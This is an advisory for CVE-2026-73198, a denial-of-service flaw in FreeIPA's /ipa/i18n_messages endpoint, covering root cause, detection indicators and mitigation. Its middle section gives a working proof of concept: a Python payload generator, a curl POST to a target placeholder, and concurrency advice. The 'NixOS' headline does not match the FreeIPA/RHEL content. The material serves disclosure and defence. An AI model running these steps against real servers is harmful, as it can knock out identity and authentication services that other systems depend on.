CVE-2026-73198: 
NixOS vulnerability analysis and mitigation

CVE-2026-73198 is a denial-of-service vulnerability in FreeIPA affecting the /ipa/i18n_messages endpoint, classified as CWE-770 (Allocation of Resources Without Limits or Throttling). A remote, unauthenticated attacker can send an arbitrarily large HTTP request body to this endpoint, causing the service to exhaust memory and become unavailable. The vulnerability was reported on May 11, 2026, publicly disclosed on August 20, 2026, and affects ipa-4.13.1-3.el10 (Red Hat Enterprise Linux 10); specific fixed versions have not yet been released. It carries a CVSS v3.1 base score of 7.5 (High) (Red Hat Advisory, GitHub Advisory).

The root cause lies in the read_input() function within ipaserver/rpcserver.py, which reads the full request body based on the attacker-supplied CONTENT_LENGTH header without enforcing any size limit. The jsonserver_i18n_messages._call_() method invokes this unbounded read before validating the RPC method name, meaning any POST request — regardless of content — triggers full memory allocation. The shipped Apache configuration template grants unauthenticated access to /ipa/i18n_messages with Require all granted, and no LimitRequestBody directive is set. When a valid i18n_messages method name is included, the body is additionally re-encoded into a BytesIO object, potentially doubling the in-memory footprint (Red Hat Bugzilla).

Successful exploitation results in memory exhaustion of the Apache/mod_wsgi worker processes hosting FreeIPA, leading to degraded responsiveness, worker churn, and potential out-of-memory (OOM) conditions under sustained concurrent load. Because FreeIPA serves as a centralized identity and authentication provider (LDAP, Kerberos, DNS), its unavailability can cascade to dependent systems that rely on it for authentication and authorization. There is no evidence of confidentiality or integrity impact — exploitation is limited to availability (Red Hat Advisory, Red Hat Bugzilla).

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The vulnerability requires only network reachability to the /ipa/i18n_messages endpoint and the ability to send large POST bodies — no authentication, special timing, or bypass is needed, making it trivially exploitable with commodity tools such as curl. The EPSS score is 0.0, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The issue was discovered by AISLE Research in partnership with Red Hat and was held under embargo prior to disclosure (Red Hat Advisory, Red Hat Bugzilla).

1. Reconnaissance: Identify internet-facing or network-accessible FreeIPA servers (e.g., via Shodan, Censys, or internal network scanning) running ipa-4.13.1-3.el10 or similar unpatched versions. Confirm the /ipa/i18n_messages endpoint is reachable without authentication.
2. Craft oversized payload: Generate a large JSON request body targeting the endpoint. For example, create a 64 MiB payload:

python3 - <<'PY'
import json
s = "A" * (64 * 1024 * 1024)
obj = {"method": s, "params":[[], {"version":"2.0"}], "id": 1}
open("/tmp/ipa-big.json", "w").write(json.dumps(obj))
PY

3. Send unauthenticated POST request: Transmit the oversized payload to the target endpoint:

curl -k -sS -o /dev/null -X POST \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/ipa-big.json \
  https://<TARGET>/ipa/i18n_messages

4. Amplify with concurrent requests: Repeat the request with 10–50 concurrent workers (e.g., using parallel, xargs, or a scripted loop) to maximize memory pressure on the server.
5. Observe impact: Monitor the target for increased memory consumption in httpd/mod_wsgi processes, slow or failed authentication responses, worker restarts, or OOM kills, confirming successful DoS (Red Hat Bugzilla).

• Network: Unusually large HTTP POST requests (multi-megabyte bodies) to /ipa/i18n_messages; high volume of concurrent POST requests to this endpoint from one or more source IPs.
• Logs: Apache access logs (/var/log/httpd/access_log) showing repeated large POST requests to /ipa/i18n_messages with high Content-Length values; mod_wsgi or Apache error logs showing worker process restarts or OOM-related errors.
• Process: Abnormal memory growth in httpd or mod_wsgi worker processes observable via top, ps, or smem; OOM killer events in /var/log/messages or dmesg referencing httpd processes.
• System: Elevated swap usage or system-wide memory pressure coinciding with requests to the FreeIPA web interface (Red Hat Bugzilla).

No patched package version has been released as of the disclosure date; a fix is tracked under RHEL-188995 for RHEL 10.3. As an immediate workaround, Red Hat recommends adding a LimitRequestBody directive to the Apache configuration for the /ipa/i18n_messages endpoint (e.g., LimitRequestBody 1048576 to cap at 1 MB), then restarting the httpd service. If a reverse proxy or load balancer fronts the FreeIPA server, an equivalent body-size limit should be enforced there as well. The proposed code fix adds a MAX_REQUEST_BODY_SIZE constant (1 MiB) to read_input() in ipaserver/rpcserver.py and returns HTTP 413 when exceeded (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability was discovered by AISLE Research in partnership with Red Hat and was held under embargo before public disclosure on August 20, 2026. A Mastodon post from @thehackerwire noted the disclosure shortly after publication. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Red Hat Advisory).